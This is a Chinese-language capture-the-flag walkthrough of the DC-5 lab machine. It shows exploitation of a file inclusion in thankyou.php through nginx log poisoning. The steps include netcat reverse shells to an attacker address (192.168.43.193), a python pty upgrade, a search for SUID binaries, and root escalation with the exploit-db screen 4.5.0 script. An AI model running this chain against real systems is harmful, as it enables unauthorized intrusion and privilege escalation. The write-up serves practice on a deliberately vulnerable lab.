通过已知MAC地址,确定DC-5的ip。
确定靶机开放端口
提交表单发现时间在变化
直接访问thankyou.php文件
这里可能存在文件包含
footer.php与刚才页面下面显示的时间相对应,所以可能是被包含文件。
文件包含成功
nginx日志路径 /var/log/nginx/access.log
连接符连接命令,文件包含调用/bin/bash解释器执行
nc 192.168.43.193 8888 -c /bin/bash
菜刀虚拟终端反弹shell
nc -e /bin/bash 192.168.43.193 6699
nc -lvvp 6699 监听
python -c 'import pty;pty.spawn("/bin/bash")'
find / -perm -u=s -type f 2>/dev/null
发现特殊文件screen 4.5.0
搜索已知漏洞
searchsport screen 4.5.0cp /usr/share/exploitdb/exploits/linux/local/41154.sh ~/Desktop/41154.sh cp /usr/share/exploitdb/exploits/linux/local/41154.sh ~/Desktop/41152.txt
41154.sh这个脚本不能直接执行,所以需要以下步骤
剪切这两段代码到新文件
执行这两个文件
执行
set ff=unix 使windows的代码可以在unix上运行并将其他剩余代码剪切到dc5.sh
运行dc5.sh
chmod +x dc5.sh ./dc5.sh